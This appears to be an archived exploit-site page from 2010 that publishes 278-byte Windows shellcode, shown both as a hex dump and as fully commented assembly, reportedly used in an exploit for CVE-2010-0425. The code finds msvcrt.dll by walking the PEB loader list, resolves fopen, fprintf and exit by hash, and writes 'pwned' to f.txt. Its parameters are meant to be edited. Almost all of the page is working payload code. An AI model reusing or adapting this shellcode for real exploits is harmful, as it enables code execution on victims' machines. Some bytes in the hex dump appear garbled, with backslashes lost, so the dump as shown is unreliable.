Home / os / win7

win32 write-to-file Shellcode 278 bytes

Posted on 09 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>win32 write-to-file Shellcode 278 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================= win32 write-to-file Shellcode 278 bytes ======================================= ; Write-to-file Shellcode ; ; This shellcode was used in the exploit for: CVE-2010-0425 ; Supported: Windows 2000, WinXP, Server 2003, Server 2008, Vista, Windows 7 ; ; Size: 278 bytes ; //////////////////////////////////////////////////////////////////////////////// ; x31xc0x31xc9x64x8bx71x30x8bx76x0cx8bx76x1cx8bx56x08x8bx7ex20 ; x8bx36x66x39x4fx14x75xf2x66xb9x01x6dx66x81xe9x94x6cx66x39x0f ; x66x89xc1x75xe1x89xe5xebx71x60x8bx6cx24x24x8bx45x3cx8bx54x05 ; x78x01xeax8bx4ax18x8bx5ax20x01xebxe3x34x49x8bx34x8bx01xeex31 ; xffx31xc0xfcxacx84xc0x74x07xc1xcfx0dx01xc7xebxf4x3bx7cx24x28 ; x75xe1x8bx5ax24x01xebx66x8bx0cx4bx8bx5ax1cx01xebx8bx04x8bx01 ; xe8x89x44x24x1cx61xc3xadx50x52xe8xaaxffxffxffx89x07x66x81xc4 ; x0cx01x66x81xecx04x01x66x81xc7x08x01x66x81xefx04x01x39xcex75 ; xdexc3xebx10x5ex8dx7dx04x89xf1x80xc1x0cxe8xcdxffxffxffxebx3b ; xe8xebxffxffxffx6ex7cx2exe1x1ex3cx3fxd7x74x1ex48xcdx31xd2x58 ; x88x50x05xebx2dx31xd2x59x88x51x01xebx2cx51x50xffx55x04xebx2a ; x31xd2x59x88x51x05xebx2dx51x50x89xc6xffx55x08x53xffx55x0cxe8 ; xd1xffxffxffx66x2ex74x78x74x4exe8xcexffxffxffx77x4exe8xcfxff ; xffxffxe8xd1xffxffxffx70x77x6ex65x64x4exe8xcexffxffxff ; //////////////////////////////////////////////////////////////////////////////// ; ; Origin: http://www.senseofsecurity.com.au ; Written by Brett Gervasoni (brettg [at] senseofsecurity.com.au) ; ; By default the shellcode will write &quot;pwned&quot; to a text file titled &quot;f.txt&quot; in ; the current working directory. ; ; Editable parameters: ; Line 228: Filename ; Be sure to update the length on line 185 ; Line 232: Access mode ; Be sure to update the length on line 193 ; Line 239: Data (text to be written) ; Be sure to update the length on line 208 [SECTION .text] global _start _start: ; if it matters what is on the stack, then allocate space - otherwise, who cares we are exiting anyway? ; save bytes by not including it... ;sub esp, 0x0c ; allocate space on the stack for funct addresses ; ======================= Find the base address of msvcrt.dll ======================= ; By checking if a entry in the InInitializationOrder list has a null byte in position ; 20 we can find the base addr of msvcrt.dll on Windows 7 and Vista. ; &quot;msvcrt.dll&quot; is equal to 10 bytes, so in unicode, its 20 bytes long. ; kernel32.dll can be found in a similar fashion. &quot;kernel32.dll&quot; is 12 bytes long though. ; on WinXP the InInitializationOrder list is as follows: ntdll.dll, kernel32.dll, msvcrt.dll ; On Windows Server 2003, msvcrt.dll is in position 5 and before this dll is checked, RPCRT4.dll ; is checked. Which matches the length of msvcrt.dll, as a result the base address of RPCRT4.dll ; is used. Obviously this is no good. To solve this problem i made the shellcode check for the ; presents of 'm' in position 0 as well . xor eax, eax ; make sure it is 0 xor ecx, ecx ; ECX = 0 mov esi, [fs:ecx+0x30] ; ESI = &amp;(PEB) ([FS:0x30]) mov esi, [esi+0x0c] ; ESI = PEB-&gt;Ldr mov esi, [esi+0x1c] ; ESI = PEB-&gt;Ldr.InInitOrder NextModule: mov edx, [esi+0x08] ; EDX = InInitOrder[X].base_address mov edi, [esi+0x20] ; EDX = InInitOrder[X].module_name (unicode) mov esi, [esi] ; ESI = InInitOrder[X].flink (next module) cmp [edi+10*2], cx ; modulename[12] == 0 ? jne NextModule ; No: try next module. ; extra check to find msvcrt.dll mov cx, 0x6d01 ; m = 0x6d sub cx, 0x6c94 ; result is 0x6d (m) cmp [edi], cx ; modulename[0] == m ? mov cx, ax jne NextModule ; base address of msvcrt.dll is now in edx ; update ebp mov ebp, esp jmp short GetHashesSpring ; using a spring to avoid null bytes ; ======================= FUNCTIONS ======================= ; Export Directory Table method find_function: pushad mov ebp, [esp + 0x24] mov eax, [ebp + 0x3c] mov edx, [ebp + eax + 0x78] add edx, ebp mov ecx, [edx + 0x18] mov ebx, [edx + 0x20] add ebx, ebp find_function_loop: jecxz find_function_finished dec ecx mov esi, [ebx + ecx * 4] add esi, ebp compute_hash: xor edi, edi xor eax, eax cld compute_hash_again: lodsb test al, al jz compute_hash_finished ror edi, 0xd add edi, eax jmp short compute_hash_again compute_hash_finished: find_function_compare: cmp edi, [esp + 0x28] jnz find_function_loop mov ebx, [edx + 0x24] add ebx, ebp mov cx, [ebx + 2 * ecx] mov ebx, [edx + 0x1c] add ebx, ebp mov eax, [ebx + 4 * ecx] add eax, ebp mov [esp + 0x1c], eax find_function_finished: popad ret ResolveSymbolsForDLL: lodsd push eax ; push hashes for find_function push edx call find_function mov [edi], eax ; save found function address ;add sp, 0x08 add sp, 0x10c ; + 268 sub sp, 0x104 ; - 260 = 8 ;add di, 0x04 ; increment edi by 4 (due to function address being saved) add di, 0x108 ; + 264 sub di, 0x104 ; - 260 = 4 cmp esi, ecx ; check if esi meets length of hash list jne ResolveSymbolsForDLL ResolveSymbolsForDLLComplete: ret ; ====================== / FUNCTIONS ====================== GetHashesSpring: jmp short GetHashes ; using a spring to avoid null bytes HashesReturn: pop esi lea edi, [ebp + 0x04] mov ecx, esi add cl, 0x0c ; length of function hash list call ResolveSymbolsForDLL jmp short GetFilename GetHashes: call HashesReturn ; msvcrt.dll hash list ; fopen hash = 0x6E7C2EE1 db 0x6E db 0x7C db 0x2E db 0xE1 ; fprintf hash = 0x1E3C3FD7 db 0x1E db 0x3C db 0x3F db 0xD7 ; since the message is small, no need to worry about closing the file ; keep the shellcode smaller that way. ; exit hash = 0x741E48CD db 0x74 db 0x1E db 0x48 db 0xCD GetFilenameReturn: xor edx, edx ; zero out a reg for nulls pop eax ; f.txt mov [eax+5], dl ; insert a null byte, 'f.txt' jmp short GetFileMode GetFileModeReturn: xor edx, edx ; zero out a reg for nulls pop ecx ; w mov [ecx+1], dl ; insert a null byte, 'w' jmp short GetfopenCall ; Now jump to fopen call fopenCall: push ecx ; 'w' push eax ; push 'f.txt' call [ebp+4]; call fopen jmp short GetfprintfData GetfprintfDataReturn: xor edx, edx ; zero out a reg for a null pop ecx ; push data string mov [ecx+5], dl ; insert a null byte jmp short GetfprintfCall fprintfCall: push ecx ; data push eax ; handle mov esi, eax ; we want to keep the handle for close call [ebp+8] ; call fprintf ; It needs to either exit, or call fclose to write the buffer to file. ExitProcessCall: push ebx ; ebx has 00004000 in it - who cares what we give exit? call [ebp+0x0c] ; exit GetFilename: call GetFilenameReturn db 'f.txtN' ; filename GetFileMode: call GetFileModeReturn db 'wN' ; file access mode GetfopenCall: call fopenCall GetfprintfData: call GetfprintfDataReturn db 'pwnedN' ; data to be written to file GetfprintfCall: call fprintfCall # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-09]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP